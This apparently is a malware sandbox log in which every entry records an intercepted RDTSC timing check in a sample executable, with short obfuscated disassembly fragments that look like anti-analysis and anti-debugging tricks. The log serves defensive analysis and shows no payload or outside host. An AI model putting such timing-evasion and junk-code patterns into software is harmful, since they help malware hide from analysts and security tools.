Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8253E3 second address: 82540A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pushad 0x00000008 jp 00007FCBACB2D116h 0x0000000e push edi 0x0000000f pop edi 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FCBACB2D122h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 828499 second address: 8284AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCBAD522AADh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 82C32B second address: 82C33F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 pushad 0x00000007 je 00007FCBACB2D11Ah 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 pop eax 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 82BC2A second address: 82BC2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 82BC2E second address: 82BC38 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FCBACB2D116h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 82BD9F second address: 82BDB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCBAD522AB5h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7CBC57 second address: 7CBC7D instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FCBACB2D116h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f jmp 00007FCBACB2D123h 0x00000014 pop esi 0x00000015 push edi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7CBC7D second address: 7CBC97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCBAD522AB2h 0x00000009 pop edi 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7CBC97 second address: 7CBC9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 835A4B second address: 835A50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 835FB5 second address: 835FD5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FCBACB2D127h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 836996 second address: 83699A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 83699A second address: 8369B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007FCBACB2D128h 0x0000000c je 00007FCBACB2D116h 0x00000012 jmp 00007FCBACB2D11Ch 0x00000017 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 83AF7D second address: 83AFA5 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FCBAD522AB6h 0x00000008 jmp 00007FCBAD522AAAh 0x0000000d jnp 00007FCBAD522AA6h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 jmp 00007FCBAD522AACh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 83B0F7 second address: 83B0FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 83B3D4 second address: 83B3DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 83B3DA second address: 83B3DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 83B649 second address: 83B64D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 83BB9E second address: 83BBA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 83BBA5 second address: 83BBB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FCBAD522AABh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 840891 second address: 8408BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCBACB2D11Ah 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f jmp 00007FCBACB2D128h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8408BD second address: 8408E4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push ecx 0x00000008 jno 00007FCBAD522ABCh 0x0000000e push esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 83F60E second address: 83F614 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 83F614 second address: 83F618 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 807958 second address: 8079A5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FCBACB2D121h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push eax 0x00000010 jbe 00007FCBACB2D118h 0x00000016 push edx 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov eax, dword ptr [eax] 0x0000001b pushad 0x0000001c jg 00007FCBACB2D12Dh 0x00000022 jo 00007FCBACB2D11Ch 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8079A5 second address: 807A11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp+04h], eax 0x00000009 jmp 00007FCBAD522AB5h 0x0000000e pop eax 0x0000000f push 00000000h 0x00000011 push esi 0x00000012 call 00007FCBAD522AA8h 0x00000017 pop esi 0x00000018 mov dword ptr [esp+04h], esi 0x0000001c add dword ptr [esp+04h], 00000019h 0x00000024 inc esi 0x00000025 push esi 0x00000026 ret 0x00000027 pop esi 0x00000028 ret 0x00000029 mov edx, dword ptr [ebp+122D391Ch] 0x0000002f call 00007FCBAD522AA9h 0x00000034 pushad 0x00000035 jmp 00007FCBAD522AB8h 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 807A11 second address: 807A28 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCBACB2D11Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 807A28 second address: 807A2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 807A2C second address: 807A68 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCBACB2D122h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a jg 00007FCBACB2D116h 0x00000010 pop edx 0x00000011 popad 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 jc 00007FCBACB2D123h 0x0000001c jmp 00007FCBACB2D11Dh 0x00000021 mov eax, dword ptr [eax] 0x00000023 pushad 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 807A68 second address: 807A76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FCBAD522AA6h 0x0000000a popad 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 807BAF second address: 807BCC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCBACB2D129h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 80829E second address: 8082A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8085E3 second address: 8085E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8085E7 second address: 808621 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov eax, dword ptr [eax] 0x00000009 pushad 0x0000000a jmp 00007FCBAD522AB8h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FCBAD522AB6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8086D9 second address: 8086E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 js 00007FCBACB2D11Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 83F940 second address: 83F944 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 83FF46 second address: 83FF4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 83FF4C second address: 83FF91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jne 00007FCBAD522ABBh 0x0000000b pushad 0x0000000c push edx 0x0000000d pop edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 jg 00007FCBAD522AA6h 0x00000016 jno 00007FCBAD522AA6h 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FCBAD522AAFh 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 83FF91 second address: 83FF95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8400FA second address: 840109 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jne 00007FCBAD522AA6h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 840277 second address: 84027D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 84027D second address: 8402BC instructions: 0x00000000 rdtsc 0x00000002 jg 00007FCBAD522AB7h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push ecx 0x0000000c push edi 0x0000000d pop edi 0x0000000e pop ecx 0x0000000f jmp 00007FCBAD522AB5h 0x00000014 jl 00007FCBAD522AAEh 0x0000001a push edx 0x0000001b pop edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 845E6C second address: 845E70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 844A97 second address: 844AB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCBAD522AB5h 0x00000009 js 00007FCBAD522AA6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 844DB8 second address: 844DC4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jng 00007FCBACB2D116h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 844DC4 second address: 844DCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 844DCA second address: 844DCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 844DCE second address: 844DDB instructions: 0x00000000 rdtsc 0x00000002 jg 00007FCBAD522AA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 84520E second address: 845227 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCBACB2D11Dh 0x00000009 jnp 00007FCBACB2D116h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 845227 second address: 84522C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8447FB second address: 844800 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 844800 second address: 844806 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8454E6 second address: 8454F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 pushad 0x00000008 jp 00007FCBACB2D116h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 845B0B second address: 845B0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 845B0F second address: 845B17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 845B17 second address: 845B24 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jo 00007FCBAD522AA6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 845B24 second address: 845B43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jng 00007FCBACB2D118h 0x0000000f jng 00007FCBACB2D11Eh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 845B43 second address: 845B5D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FCBAD522AB0h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 84901A second address: 84901E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 84901E second address: 849024 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 849024 second address: 84902E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FCBACB2D116h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7C3518 second address: 7C3522 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FCBAD522AA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7C3522 second address: 7C3537 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jng 00007FCBACB2D116h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jp 00007FCBACB2D116h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7C3537 second address: 7C353D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7C353D second address: 7C354E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 jc 00007FCBACB2D11Eh 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 84DD52 second address: 84DD56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 84DD56 second address: 84DD81 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FCBACB2D124h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jns 00007FCBACB2D11Ch 0x00000011 popad 0x00000012 push edx 0x00000013 push edi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 851BC3 second address: 851BDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 jmp 00007FCBAD522AAEh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8516FB second address: 8516FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8516FF second address: 851722 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCBAD522AB6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a pushad 0x0000000b popad 0x0000000c pop ebx 0x0000000d pop esi 0x0000000e pushad 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 851722 second address: 851728 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 851728 second address: 851741 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FCBAD522AB2h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 853A78 second address: 853A82 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FCBACB2D11Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 85997A second address: 859983 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 859AAD second address: 859ACB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 push esi 0x00000008 jmp 00007FCBACB2D121h 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 859ACB second address: 859ACF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 859C26 second address: 859C2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 859D87 second address: 859D8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 859D8B second address: 859D91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 859EC9 second address: 859EF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FCBAD522AA6h 0x0000000a popad 0x0000000b pushad 0x0000000c push edx 0x0000000d pop edx 0x0000000e jmp 00007FCBAD522AAAh 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FCBAD522AAFh 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 859EF7 second address: 859EFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 859EFB second address: 859EFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 859EFF second address: 859F21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c jmp 00007FCBACB2D126h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 859F21 second address: 859F25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8080D1 second address: 8080DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FCBACB2D116h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8080DB second address: 8080FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCBAD522AAEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jng 00007FCBAD522AA6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8080FA second address: 808112 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCBACB2D124h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 808112 second address: 80812A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCBAD522AB4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 80812A second address: 80816D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push ebp 0x0000000c call 00007FCBACB2D118h 0x00000011 pop ebp 0x00000012 mov dword ptr [esp+04h], ebp 0x00000016 add dword ptr [esp+04h], 00000014h 0x0000001e inc ebp 0x0000001f push ebp 0x00000020 ret 0x00000021 pop ebp 0x00000022 ret 0x00000023 movsx ecx, dx 0x00000026 mov di, 1363h 0x0000002a push 00000004h 0x0000002c mov ecx, dword ptr [ebp+122D3750h] 0x00000032 push eax 0x00000033 push eax 0x00000034 push edx 0x00000035 jnl 00007FCBACB2D11Ch 0x0000003b rdtsc
